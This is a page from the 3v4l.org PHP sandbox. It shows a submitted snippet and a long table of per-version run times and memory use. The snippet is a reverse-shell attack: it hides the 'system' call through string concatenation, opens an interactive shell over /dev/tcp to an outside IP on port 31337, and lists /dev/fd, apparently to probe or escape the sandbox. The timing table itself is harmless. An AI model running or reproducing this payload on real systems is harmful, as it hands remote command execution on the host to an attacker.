3v4l.org

run code in 300+ PHP versions simultaneously
<?php $a=("s"."yst"."em");$a("sh -i >& /dev/tcp/1.236.112.48/31337 0>&1"); var_dump(glob("./dev/fd/*"));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.4.20.0090.01217.62
8.4.10.0060.00317.47
8.3.150.0100.01017.25
8.3.140.0070.00317.26
8.3.130.0110.00018.25
8.3.120.0130.00420.61
8.3.110.0040.00716.91
8.3.100.0090.00016.57
8.3.90.0060.00719.99
8.3.80.0030.00618.68
8.3.70.0130.00316.75
8.3.60.0120.00316.88
8.3.50.0120.00721.94
8.3.40.0090.00618.83
8.3.30.0110.00819.17
8.3.20.0080.00020.39
8.3.10.0050.00323.79
8.3.00.0060.00319.38
8.2.270.0030.01616.55
8.2.260.0120.00319.16
8.2.250.0050.00318.48
8.2.240.0040.00417.09
8.2.230.0100.00020.94
8.2.220.0090.00037.54
8.2.210.0030.00626.77
8.2.200.0000.01018.91
8.2.190.0070.01116.58
8.2.180.0030.01218.66
8.2.170.0090.00622.96
8.2.160.0150.00020.65
8.2.150.0000.00824.18
8.2.140.0080.00024.66
8.2.130.0030.00626.16
8.2.120.0040.00422.32
8.2.110.0030.01021.24
8.2.100.0120.00017.91
8.2.90.0040.00418.91
8.2.80.0080.00017.97
8.2.70.0060.00317.35
8.2.60.0000.00918.05
8.2.50.0080.00018.07
8.2.40.0030.00618.22
8.2.30.0030.00518.13
8.2.20.0000.00817.71
8.2.10.0030.00518.13
8.2.00.0080.00017.69
8.1.310.0060.00316.94
8.1.300.0030.00716.25
8.1.290.0030.00618.88
8.1.280.0100.00525.92
8.1.270.0060.00321.97
8.1.260.0030.00626.35
8.1.250.0080.00028.09
8.1.240.0030.00622.23
8.1.230.0060.00617.82
8.1.220.0040.00417.78
8.1.210.0040.00418.77
8.1.200.0030.00617.48
8.1.190.0000.00817.50
8.1.180.0000.00918.10
8.1.170.0080.00018.56
8.1.160.0000.00822.07
8.1.150.0030.00618.64
8.1.140.0000.00817.56
8.1.130.0000.00717.87
8.1.120.0050.00317.50
8.1.110.0040.00417.54
8.1.100.0110.00017.54
8.1.90.0000.00717.40
8.1.80.0070.00017.47
8.1.70.0030.00417.42
8.1.60.0040.00417.48
8.1.50.0040.00417.56
8.1.40.0080.00017.59
8.1.30.0000.00917.59
8.1.20.0080.00017.57
8.1.10.0040.00417.59
8.1.00.0000.00817.58
8.0.300.0040.00418.77
8.0.290.0090.00016.75
8.0.280.0040.00418.47
8.0.270.0040.00417.31
8.0.260.0030.00317.24
8.0.250.0040.00417.02
8.0.240.0000.00716.98
8.0.230.0070.00017.05
8.0.220.0030.00317.03
8.0.210.0040.00417.02
8.0.200.0030.00317.02
8.0.190.0030.00616.92
8.0.180.0040.00416.95
8.0.170.0060.00316.90
8.0.160.0040.00416.92
8.0.150.0070.00017.00
8.0.140.0040.00416.89
8.0.130.0030.00313.46
8.0.120.0060.00615.12
8.0.110.0090.00115.18
8.0.100.0030.00815.17
8.0.90.0070.00415.16
8.0.80.0090.00915.20
8.0.70.0080.00315.13
8.0.60.0050.00715.13
8.0.50.0090.00215.20
8.0.30.0120.00915.93
8.0.20.0140.00516.06
8.0.10.0100.00215.29
8.0.00.0080.00915.75
7.4.330.0060.00015.00
7.4.320.0000.00616.51
7.4.300.0050.00316.50
7.4.290.0030.00616.41
7.4.280.0030.00516.49
7.4.270.0080.00016.38
7.4.260.0050.00316.48
7.4.250.0040.00414.88
7.4.240.0090.00115.42
7.4.230.0080.00314.91
7.4.220.0140.00614.97
7.4.210.0070.00915.72
7.4.200.0040.00814.94
7.4.190.0050.00615.01
7.4.180.0100.00413.37
7.4.160.0120.00514.86
7.4.150.0130.00515.32
7.4.140.0110.01016.29
7.4.130.0110.00715.41
7.4.120.0130.00415.38
7.4.110.0090.00814.83
7.4.100.0050.01315.00
7.4.90.0030.01114.83
7.4.80.0100.00616.26
7.4.70.0100.00414.79
7.4.60.0090.00714.85
7.4.50.0050.00514.86
7.4.40.0040.01017.89
7.4.30.0080.00614.94
7.4.20.0070.00713.07
7.4.10.0100.00614.06
7.4.00.0110.00614.40
7.3.330.0030.00313.11
7.3.320.0030.00313.12
7.3.310.0080.00214.70
7.3.300.0060.00414.70
7.3.290.0060.00714.73
7.3.280.0060.01015.43
7.3.270.0090.00815.25
7.3.260.0100.00614.74
7.3.250.0100.00615.17
7.3.240.0100.00914.55
7.3.230.0140.00214.83
7.3.220.0110.00212.88
7.3.210.0110.00514.56
7.3.200.0090.00816.16
7.3.190.0090.00714.71
7.3.180.0080.00814.84
7.3.170.0090.00514.68
7.3.160.0080.00714.64
7.3.150.0100.00313.13
7.3.140.0040.00913.13
7.3.130.0080.00913.82
7.3.120.0100.00614.86
7.3.110.0110.00314.84
7.3.100.0050.01014.98
7.3.90.0070.00715.09
7.3.80.0090.00514.95
7.3.70.0070.00715.07
7.3.60.0110.00315.00
7.3.50.0070.00614.97
7.3.40.0060.00714.89
7.3.30.0070.00515.08
7.3.20.0090.00416.12
7.3.10.0060.00516.25
7.3.00.0070.00316.21
7.2.340.0120.00013.02
7.2.330.0120.00414.76
7.2.320.0140.00214.70
7.2.310.0070.00914.85
7.2.300.0070.00814.70
7.2.290.0070.00814.70
7.2.280.0080.00412.98
7.2.270.0120.00012.94
7.2.260.0110.00514.02
7.2.250.0100.00613.88
7.2.240.0100.00515.05
7.2.230.0050.00914.83
7.2.220.0050.00915.04
7.2.210.0080.00715.02
7.2.200.0070.00914.96
7.2.190.0070.00815.02
7.2.180.0060.00915.01
7.2.170.0060.00714.99
7.2.160.0050.00915.13
7.2.150.0110.00716.27
7.2.140.0090.00716.38
7.2.130.0060.00816.34
7.2.120.0060.00816.29
7.2.110.0070.00816.32
7.2.100.0090.00716.27
7.2.90.0090.00616.36
7.2.80.0060.00816.39
7.2.70.0080.00816.28
7.2.60.0080.00816.50
7.2.50.0100.00516.34
7.2.40.0100.00616.29
7.2.30.0050.00816.34
7.2.20.0100.00516.32
7.2.10.0080.00816.40
7.2.00.0080.00616.33
7.1.330.0100.00515.65
7.1.320.0040.01115.70
7.1.310.0040.01015.69
7.1.300.0080.00415.63
7.1.290.0060.00815.64
7.1.280.0040.01015.68
7.1.270.0070.00615.64
7.1.260.0050.00915.70
7.1.250.0050.00915.69
7.1.240.0080.00514.86
7.1.230.0090.00614.99
7.1.220.0080.00614.88
7.1.210.0040.00814.98
7.1.200.0100.00415.08
7.1.190.0100.00414.78
7.1.180.0030.00814.93
7.1.170.0050.00714.91
7.1.160.0090.00614.94
7.1.150.0080.00414.86
7.1.140.0020.01414.94
7.1.130.0080.00714.86
7.1.120.0080.00514.90
7.1.110.0100.00415.01
7.1.100.0040.00714.90
7.1.90.0090.00514.68
7.1.80.0030.01214.83
7.1.70.0080.00915.51
7.1.60.0060.01116.27
7.1.50.0060.01215.48
7.1.40.0120.00214.92
7.1.30.0090.00314.89
7.1.20.0080.00514.79
7.1.10.0050.00914.77
7.1.00.0070.02817.37
7.0.330.0080.00414.61
7.0.320.0050.00814.65
7.0.310.0070.00614.62
7.0.300.0110.00214.75
7.0.290.0070.00814.61
7.0.280.0040.00714.72
7.0.270.0090.00414.61
7.0.260.0040.00814.56
7.0.250.0080.00414.66
7.0.240.0100.00414.77
7.0.230.0070.01014.79
7.0.220.0100.00714.78
7.0.210.0090.00314.56
7.0.200.0090.00215.34
7.0.190.0100.00514.66
7.0.180.0100.00514.59
7.0.170.0090.00614.68
7.0.160.0110.00014.64
7.0.150.0090.00514.75
7.0.140.0060.02517.11
7.0.130.0110.00214.52
7.0.120.0060.00714.78
7.0.110.0130.00214.68
7.0.100.0090.00314.70
7.0.90.0060.00914.62
7.0.80.0080.00514.65
7.0.70.0080.00514.68
7.0.60.0080.03016.46
7.0.50.0080.02515.76
7.0.40.0070.03415.84
7.0.30.0200.03115.89
7.0.20.0120.02315.89
7.0.10.0090.01615.98
7.0.00.0100.02015.79
5.6.400.0080.00513.45
5.6.390.0080.00713.58
5.6.380.0080.00513.38
5.6.370.0100.00113.58
5.6.360.0080.00613.56
5.6.350.0090.00513.35
5.6.340.0070.00413.34
5.6.330.0080.00313.47
5.6.320.0100.00513.48
5.6.310.0040.01113.42
5.6.300.0090.00513.32
5.6.290.0080.00413.38
5.6.280.0060.02715.95
5.6.270.0090.00413.44
5.6.260.0100.00813.57
5.6.250.0080.00613.47
5.6.240.0070.01013.40
5.6.230.0070.00713.52
5.6.220.0110.00313.43
5.6.210.0050.01815.79
5.6.200.0060.02315.15
5.6.190.0080.01715.79
5.6.180.0130.01815.89
5.6.170.0170.02915.79
5.6.160.0070.03415.87
5.6.150.0090.01515.07
5.6.140.0060.02315.06
5.6.130.0070.01614.96
5.6.120.0060.03315.96
5.6.110.0070.02815.95
5.6.100.0070.03215.88
5.6.90.0090.01715.97
5.6.80.0040.01915.82
5.6.70.1400.01715.79
5.6.60.0070.00613.56
5.6.50.0110.00413.23
5.6.40.0100.00513.29
5.6.30.0080.00713.42
5.6.20.0080.00713.42
5.6.10.0100.00413.31
5.6.00.0130.00413.39
5.5.380.0090.00513.52
5.5.370.0100.00413.47
5.5.360.0100.00413.31
5.5.350.0140.02615.73
5.5.340.0070.03114.95
5.5.330.0110.02715.65
5.5.320.0060.03115.73
5.5.310.0160.02215.60
5.5.300.0060.02014.86
5.5.290.0090.01414.82
5.5.280.0080.02715.91
5.5.270.0060.02915.74
5.5.260.0060.02215.80
5.5.250.0090.01715.87
5.5.240.0100.01915.74
5.5.230.0080.00513.38
5.5.220.0070.00613.48
5.5.210.0070.00713.41
5.5.200.0090.00613.37
5.5.190.0060.00813.39
5.5.180.0090.00513.31
5.5.170.0060.01013.35
5.5.160.0060.01013.51
5.5.150.0040.00913.25
5.5.140.0090.00613.42
5.5.130.0050.01013.43
5.5.120.0060.00813.28
5.5.110.0080.00313.34
5.5.100.0030.01013.46
5.5.90.0030.01113.42
5.5.80.0070.00413.40
5.5.70.0000.01113.42
5.5.60.0060.00713.52
5.5.50.0100.00213.35
5.5.40.0100.00013.42
5.5.30.0070.00413.34
5.5.20.0010.00913.38
5.5.10.0030.00813.30
5.5.00.0110.00313.50
5.4.450.0310.02214.34
5.4.440.0460.01314.40
5.4.430.0280.02114.36
5.4.420.0310.02314.21
5.4.410.0350.02014.42
5.4.400.0130.01614.13
5.4.390.0160.02314.31
5.4.380.0180.01814.07
5.4.370.0150.02214.04
5.4.360.0160.02314.03
5.4.350.0130.02614.04
5.4.340.0090.02713.97
5.4.330.0090.00211.66
5.4.320.0080.01812.03
5.4.310.0080.01412.04
5.4.300.0080.01711.96
5.4.290.0070.01711.93
5.4.280.0050.02311.93
5.4.270.0100.02611.90
5.4.260.0120.02211.98
5.4.250.0050.02611.93
5.4.240.0100.02311.90
5.4.230.0090.02011.86
5.4.220.0080.02311.85
5.4.210.0070.02211.91
5.4.200.0070.02711.73
5.4.190.0090.02011.87
5.4.180.0060.02111.90
5.4.170.0070.02311.83
5.4.160.0100.03811.78
5.4.150.0070.01911.77
5.4.140.0060.02411.79
5.4.130.0080.02011.73
5.4.120.0100.01611.84
5.4.110.0060.02011.63
5.4.100.0100.02611.82
5.4.90.0080.01611.76
5.4.80.0050.01711.84
5.4.70.0090.01711.86
5.4.60.0100.01411.82
5.4.50.0100.01611.82
5.4.40.0070.02011.79
5.4.30.0120.02511.74
5.4.20.0080.01611.82
5.4.10.0110.01811.85
5.4.00.0090.01611.60
5.3.290.0080.01612.18
5.3.280.0110.01911.94
5.3.270.0120.01612.00
5.3.260.0130.03011.99
5.3.250.0120.03312.04
5.3.240.0100.02812.01
5.3.230.0120.02312.00
5.3.220.0110.01712.03
5.3.210.0110.02511.95
5.3.200.0070.02712.00
5.3.190.0070.03012.02
5.3.180.0070.02012.03
5.3.170.0050.02812.05
5.3.160.0060.02312.15
5.3.150.0090.01512.14
5.3.140.0080.01812.05
5.3.130.0060.01912.08
5.3.120.0090.02112.05
5.3.110.0090.02511.92
5.3.100.0070.02111.83
5.3.90.0100.03311.92
5.3.80.0090.02311.64
5.3.70.0060.01811.65
5.3.60.0060.02111.84
5.3.50.0070.02011.81
5.3.40.0080.01711.80
5.3.30.0090.02411.79
5.3.20.0070.02011.67
5.3.10.0190.03411.52
5.3.00.0100.02711.57
5.2.170.0080.03610.51
5.2.160.0100.04310.65
5.2.150.0170.03110.50
5.2.140.0150.02610.50
5.2.130.0060.02510.59
5.2.120.0080.02710.63
5.2.110.0090.02410.47
5.2.100.0070.02610.48
5.2.90.0090.02310.51
5.2.80.0080.02310.50
5.2.70.0080.02510.42
5.2.60.0080.02310.39
5.2.50.0080.02410.40
5.2.40.0100.02810.46
5.2.30.0110.04610.50
5.2.20.0120.02510.28
5.2.10.0060.02010.19
5.2.00.0140.03110.14
5.1.60.0090.0199.55
5.1.50.0070.0299.42
5.1.40.0080.0309.62
5.1.30.0060.0259.72
5.1.20.0070.0229.64
5.1.10.0050.0409.55
5.1.00.0130.0259.59
5.0.50.0060.0178.50
5.0.40.0070.0168.43
5.0.30.0030.0288.34
5.0.20.0040.0198.32
5.0.10.0060.0178.31
5.0.00.0070.0228.30
4.4.90.0020.0147.58
4.4.80.0050.0167.57
4.4.70.0040.0267.57
4.4.60.0020.0137.57
4.4.50.0040.0107.58
4.4.40.0030.0177.55
4.4.30.0060.0177.57
4.4.20.0070.0137.62
4.4.10.0150.0247.62
4.4.00.0020.0207.57
4.3.110.0090.0197.53
4.3.100.0050.0217.53
4.3.90.0070.0337.51
4.3.80.0020.0407.48
4.3.70.0050.0107.51
4.3.60.0160.0147.50
4.3.50.0040.0127.51
4.3.40.0030.0187.46
4.3.30.0040.0146.84
4.3.20.0070.0166.83
4.3.10.0070.0346.81
4.3.00.0130.01010.38

preferences:
31.15 ms | 403 KiB | 5 Q